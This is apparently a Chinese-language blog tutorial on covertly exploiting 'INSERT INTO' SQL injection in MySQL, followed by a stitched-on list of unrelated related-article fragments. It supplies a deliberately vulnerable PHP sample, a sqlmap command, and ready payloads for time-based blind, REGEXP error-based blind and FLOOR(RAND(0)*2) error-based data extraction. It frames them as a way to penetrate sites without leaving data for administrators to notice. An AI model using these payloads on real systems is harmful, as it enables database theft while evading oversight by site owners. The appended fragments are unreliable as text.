無痕滲透“INSERT INTO”型SQL注入
在某個寂靜的深夜,你徘徊在一個網站中,其中包含一個可提交form,需要你輸入一個暱稱。你輸入了一個單引號作為你的暱稱,網站返回了一條異常資訊:“You have an error in your SQL syntax”。機智的你很快明白,這裡很可能存在一個“INSERT INTO”型的SQL注入。現在,你可以簡單的使用sqlmap然後讓它幹一些不可描述的事情。但是,這樣會帶來一個嚴重的問題:一個自動化的工具會發送很多請求,而其中很大一部分的INSERT操作會成功。這樣一來,對方的資料庫中就會出現很多奇怪的資料。我們必須要避免這種情況。
首先,我們先在本地建立一個類似的環境來進行演示。測試程式碼如下:
<?php
$con = mysql_connect("localhost", "root", "toor") or die(mysql_error($con));
mysql_select_db("testdb", $con) or die(mysql_error($con));
$var = $_POST['post'];
mysql_query("INSERT INTO data VALUES ('one', '$var')") or die(mysql_error($con));
mysql_close($con) or die(mysql_error($con ));
echo "The values have been added!\n";
?>
通常情況下,一個經驗豐富的程式設計師是不會寫出這麼簡單的程式碼來的。不過,這僅僅是一個簡單的示例,可以用來演示滲透就足夠了。我們來用sqlmap滲透一下這個環境。
./sqlmap.py -u "http://localhost/test.php" --data "post=ValidValue" -v 3
部分的輸出可以在pastebin看到。它發現了一個Error-based型的SQL注入。關於這個漏洞我們會在文章的結尾再進行討論。現在,我們先忽略這個注入,並且可以發現sqlmap在資料庫中插入了很多奇怪
避免輸入奇怪的資料
我們必須找到一個語法正確,但是語義錯誤的sql語句。並且,這個語義錯誤必須在執行的時候才能夠被檢測到。我立刻想到了標量子查詢(scalar subqueries)。這種型別的子查詢,只能夠返回一行,否則就會返回異常。在MySQL的手冊中提到:
In its simplest form, a scalar subquery is a subquery that returns a single value. A scalar subquery is a simple operand, and you can use it almost anywhere a single column value or literal is legal, and you can expect it to have those characteristics that all operands have: a data type, a length, an indication that it can be NULL, and so on.
下面是一個示例
SELECT (SELECT name FROM users WHERE email = '[email protected]')
如果子查詢的結果為空,那麼會被轉化為NULL。如果email
是一個主鍵的話,那麼最多一個name
會被返回。如果email
不是主鍵的話,那麼name
的個數可能不只一個,這需要根據資料庫的具體內容來決定。這就說明了,必須首先執行這個子查詢,才能夠確認
這個子查詢是否是個合法的標量子查詢。另外一個標量子查詢的示例如下:
SELECT 'Your name is: ' || (SELECT name FROM users WHERE email = '[email protected]')
在這裡,||
是字串拼接操作。下面的查詢必然會返回異常 “#1242 - Subquery returns more than 1 row”:
SELECT (SELECT nameIt FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)
好了,現在我們獲得了一個必然會返回異常的查詢語句。通過這個異常,就可以阻止原始的INSERT INTO語句被成功執行,同時,我們自己的SQL語句又能夠成功執行。下面,我會來演示將這句話改造成SQL盲注。首先,我們需要利用條件語句創造不同的執行效果。要做到這一點,有兩種策略。第一種策略是,找到另外一個語義錯誤的查詢,然後根據條件語句產生不同的異常。第二中策略是利用時間的差異:如果條件為真,那麼查詢立刻結束;否則執行一個較長的時間。基於時間的攻擊更容易構造出來。可以看到下面的SQL語句,我們把上一條語句中的namelt
替換為了一個更加複雜的表示式:
SELECT (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)
如果<condition>
為真,那麼伺服器會首先等待3秒鐘,然後返回一個異常(子查詢返回了不止一個結果)。否則,<condition>
為假,那麼伺服器會立即返回這個異常。接下里要做的,就是通過伺服器響應的時間,來判斷<condition>
的真假了。基於這一點,我可以用一些自動化的工具或者指令碼來完成一個基於時間的SQL盲注。
讓我們回過頭來看一下php程式碼。在post的引數中,我們應該寫入什麼來發起攻擊呢?你可以自己嘗試找到答案。這是你必須自己掌握的技巧,特別是在給出原始碼的情況下。
傳送一下欄位可以完成這個攻擊:
' || (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '
伺服器在接受到這個引數後,實際會執行:
INSERT INTO data VALUES ('one', '' || (SELECT CASE WHEN <condition> THEN SLEEP(3) ELSE 'anyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '')
語法上是完全正確的!
更快的進行滲透
上面所說的方法十分有效,但是這是基於時間的攻擊,可能會需要相當長的一段時間才能夠成功滲透。實際上,我們還有一種策略可以選擇,那就是根據條件產生不同的異常。首先,我們需要找到另外一種可以產生的異常。聽起來很簡單,但是實際做的時候才會發現,要產生一個異常很簡單,但是要讓這個異常在執行的時候產生,並且可以根據條件語句去控制,是一個很難的事情。在經歷了一個多小時的探索後,我嘗試了各種奇怪的SQL語句,也反覆閱讀了MYSQL的文件,終於找到了一個可用的東西。下面就是我找到的SQL語句:
SELECT 'canBeAnyValue' REGEXP (SELECT CASE WHEN <condition> THEN '.*' ELSE '*' END)
其中,語句‘value’ REGEXP ‘regexp’是一個條件判斷,當value的值符合正則表示式regexp則返回真,否則返回假。注意,.*
是一個合法的正則表示式,而*
不是。所以,當<condition>
為真的時候,正則表示式合法,整個條件語句可以執行。否則的話,非法的正則表示式會被MySQL檢測出來,並返回異常“#1139 - Got error ‘repetition-operator operand invalid’ from regexp”。棒極了!現在,我們可以創造一個基於條件的SQL盲注語句:當條件為真,那麼標量子查詢異常會被返回;當條件為假,正則表示式非法的異常會被返回。
但這中間還有一個障礙:我們必須小心的使用REGEXP異常。打個比方,假如你將基於時間的SQL盲注語句改成了下面這樣:
SELECT (SELECT CASE WHEN <condition> THEN 'anyValue' REGEXP '*' ELSE 'AnyValue' END FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST)
你這麼寫的理由在於: 如果<condition>
為假,那麼它會返回‘thisCanBeAnyValue兩次,並且返回一個異常,提示標量子查詢返回了不止一個結果。如果<condition>
為真,那麼它會嘗試用'*'
去對”anyValue’進行正則匹配,然後返回一個正則表示式非法的異常。但是事實並不是如此!在這個語句下,你永遠會得到一個正則表示式非法的異常。為什麼?因為MySql知道,‘anyValue’ REGEXP ‘*’是一個不變的常量,不會因為任何東西而改變。因此,它會對這個查詢進行優化,然後提前處理這個值。所以,儘管<condition>
為假,MySql仍然會在優化階段,對正則表示式進行匹配。這個正則表示式始終是非法的,因此該異常會一直被返回。要繞過這一點,就必須將'*'
和'.*'
分別放在SELECT CASE WHEN .. END
控制流的兩條線上,才能夠避免被優化。
下面就是在我們的示例程式碼中國年,最終可以使用的引數:
' || (SELECT 'thisCanBeAnyValue' REGEXP (SELECT CASE WHEN <condition> THEN '.*' ELSE '*' END) FROM ((SELECT 'value1' AS nameIt) UNION (SELECT 'value2' AS nameIt)) TEST) || '
當條件為假時,正則表示式非法的異常會被返回。當條件為真時,標量子查詢異常會被返回。所有的這些,都是在避免INSERT語句被成功執行的情況下發生的。這樣一來,網站管理員就不會在資料庫中看到任何奇怪的資料。最後,這個攻擊語句會比之前基於時間的攻擊快很多。好樣的!
** 更進一步:基於異常的SQL注入
上面所提到的方法是我自己想到的。然而,這個網頁返回了錯誤資訊,因此也存在了一個已知的基於異常的SQL注入(通過異常資訊獲取資料庫中的資料)。這也是sqlmap所發現的注入。通過基於異常的SQL注入,滲透速度會進一步加快。這個注入是基於一下語句產生的:
SELECT COUNT(*), CONCAT('We can put any scalar subquery here', FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x
當我們執行這個語句的時候,會得到一個異常資訊 “ERROR 1062 (23000): Duplicate entry ‘We can put any scalar subquery here’ for key ‘group_key’”。可以看到,輸入的語句在返回的異常資訊中出現了。事實上,我們可以在這裡放入任何值,包括一個標量子查詢。首先,先來研究一下為什麼這個異常會產生。在MySql文件中,提到了“You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times”(你不能夠在ORDER BY中使用一個包含RAND()列,因為ORDER BY會多次訪問這個列的值)。同樣的,RAND()在GROUP BY語句中也同樣會被多次訪問。每一次RAND()被訪問,都會產生一個新的值。好了,那麼根據文件中所說的,我們實際上不允許這樣子來使用RAND()方法。為什麼?因為這個方法每次都返回一個新的值,而MySql則要求了一個方法必須每次返回相同的值。這樣一來,就會導致我們所看到的異常資訊。
總而言之,這個異常資訊包含了一個使用者可控的字串!也就是說,我們可以讓它返回任何資料庫中的資料,從而極大的加快了滲透的速度。也許你還是好奇為什麼這個查詢會失敗。要清楚這個問題,必須對DBMS執行查詢語句的過程有一個準確的瞭解。關於這個不在本文章的討論範圍之內。你只需要記住,這個查詢語句中的問題是因為RAND()被多次訪問了,並且返回了不同的值,而這不是DBMS所接受的。
讓我們再次回到示例程式碼。下面的引數可以達到滲透的目的:
' || (SELECT 'temp' FROM (SELECT COUNT(*), CONCAT((subquery returning the value we want to retrieve), FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) FromTable) || '
完美,我們得到了一個十分快速的SQL注入。根據可訪問表的不同,這個例子可能需要進行適當的調整才能工作。另外,我們還可以將之前提到的語義錯誤的SQL注入引入進來。通過這種方式,我們可以確保資料不會被插入到表中。畢竟,我們是通過一種未定義的方式來產生的異常。也許就有那麼一種DBMS,可以將查詢中的RAND()進行特殊處理,而不返回異常,誰知道呢?
最後提一句,隱藏痕跡永遠只是相對的。在某些情況下,SQL異常會被記錄下來,而管理員可以在發生異常的時候得到提醒。在這種情況下,這些攻擊的痕跡就完全暴露出來了!
相關推薦
無痕滲透“INSERT INTO”型SQL注入
在某個寂靜的深夜,你徘徊在一個網站中,其中包含一個可提交form,需要你輸入一個暱稱。你輸入了一個單引號作為你的暱稱,網站返回了一條異常資訊:“You have an error in your SQL syntax”。機智的你很快明白,這裡很可能存在一個“
[6]SQL INSERT INTO
values .com value tac pre run alt name color [6]SQL INSERT INTO INSERT INTO 語句用於向表中插入新記錄。 下面是選自 "Websites" 表的數據: +----+--------------+---
[22]SQL INSERT INTO SELECT 語句
lex weibo face weight font website .com 存在 taobao [22]SQL INSERT INTO SELECT 語句 INSERT INTO SELECT 語句從一個表復制數據,然後把數據插入到一個已存在的表中。目標表中任何已存在的
滲透測試:SQL注入攻擊(ASP)
分類: 滲透測試 SQL注入攻擊是黑客對資料庫進行攻擊的常用手段之一。隨著B/S模式應用開發的發展,使用這種模式編寫應用程式的程式設計師也越來越多。但是由於程式設計師的水平及經驗也參差不齊,相當大一部分程式設計師在編寫程式碼的時候,沒有對使用者輸入資料的合法性進行判斷,使應用程式存在安全隱患。
sql語句中的insert 和 insert into 的區別?into有什麼用?
insert into tableName values(........)insert tableName (欄位名1,欄位名2,。。。)values(。。。。。。)看語句結構就知道區別了 。insert into 是直接對應表所有欄位,values裡必須包含所有欄位。insert是指定欄位對應,value
SELECT INTO 和 INSERT INTO SELECT 兩種表複製語句詳解(SQL資料庫和Oracle資料庫的區別)
https://www.cnblogs.com/mq0036/p/4155136.html 我們經常會遇到需要表複製的情況,如將一個table1的資料的部分欄位複製到table2中,或者將整個table1複製到table2中,這時候我們就要使用SELECT INTO 和 INSER
SQL複製資料表 (select * into 與 insert into)
SQL複製資料表 (select * into 與 insert into) select * into 目標表名 from 源表名 where ..... insert into 目標
java.util.Date日期類通過java語句轉換成Sql(這裡測試用的是oracle)語句可直接插入(如:insert into)的日期型別
public void add(Emp emp) throws Exception{ QueryRunner runner = new QueryRunner(JdbcUtil.getDataSource()); String sql = "insert
張小白的滲透之路(二)——SQL注入漏洞原理詳解
SQL注入漏洞簡介 亂七八糟的就不多說了,自己百度去 SQL注入原理 想要更好的學習SQL注入,那麼我們就必須要深入的瞭解每種資料庫的SQL語法及特性。下面通過一個經典的萬能密碼的例子帶大家來撥開一下SQL注入漏洞的神祕面紗。本次環境為:DVWA的第一關(DVW
【SQL】INSERT INTO SELECT語句與SELECT INTO FROM語句
INSERT INTO SELECT語句與SELECT INTO FROM語句,都是將一個結果集插入到一個表中; #INSERT INTO SELECT語句 1、語法形式: Insert into Table2(field1,field2,…) select value1,value2,
【SQL注入技巧拓展】————11、PostgreSQL滲透測試指南
我之所以寫這篇文章,目的在於為滲透測試人員提供測試PostgreSQL資料庫的具體方法。文章中用來演示的目標系統是Metasploitable 2,因為該系統包含許多漏洞,也存在配置不當問題。 一、前言 PostgreSQL是一個開源資料庫,主要部署於Linux作業系統中。然而,Pos
Insert multiple values using INSERT INTO (SQL Server 2005)+
結論:MSSQL 2008+ 可以直接用逗號隔開 VALUES, 當然 MYSQL 也支援這個寫法。 The syntax you are using is new to SQL Server 2008: INSERT INTO [MyDB].[dbo].[MyTable] ([Field
sql insert into 一次性插入多條資料 從一張表中查詢到的資料插入到另一張表
--插入多條資料使用DEFAULT關鍵字(第二種方法,不要將預設列名寫出,在UNION後面加上all,最後一行不加) ------------------------------------------------------------------------------
SQL語句insert into 不存在則插入,存在則修改
一 測試表的建立 -- ---------------------------- -- Table structure for User -- ----------------------------
SQL中用insert into插入一行或多行記錄
INSERT INTO插入一行記錄: INSERT INTO tablename values(v1,v2,...); --這裡需包括所有列的值 若只向指定列插入值: INSERT INTO tablename (column1,co
mysql:sql insert into * values * (插入datetime型別)
insert into tweets values('2017-03-02 15:22:22'); insert into tweets values('2017-03-02 16:34'); //末尾
【滲透攻防WEB篇】SQL注入攻擊初級
前言 不管用什麼語言編寫的Web應用,它們都用一個共同點,具有互動性並且多數是資料庫驅動。在網路中,資料庫驅動的Web應用隨處可見,由此而存在的SQL注入是影響企業運營且最具破壞性的漏洞之一,這裡我想問,我們真的瞭解SQL注入嗎?看完本篇文章希望能讓你更加深刻
滲透之——SQL注入繞過技術總結
轉載請註明出處:https://blog.csdn.net/l1028386804/article/details/85869703 1.繞過空格(註釋符/* */,%a0) 兩個空格代替一個空格,用Tab代替空格,%a0=空格: %20 %09 %0a %0b %0c %0d %a
Burpsuite與sqlmap結合進行sql注入滲透測試
SQL注入漏洞測試網站:http://testasp.vulnweb.com/ 2.分別配置burpsuite的代理和火狐瀏覽器的代理伺服器: 設定burp的proxy--Intercept為Intercept on即擷取資料模式,然後在漏洞測試網站的登入頁面填入使
SQL注入--盲注入(time型)
注:看這篇文章之前請先看上一篇文章<SQL注入--盲注入(bool型)> 一個帶GET引數的網站,並且不過對錯都返回相同的頁面! http://127.0.0.1/index.php?i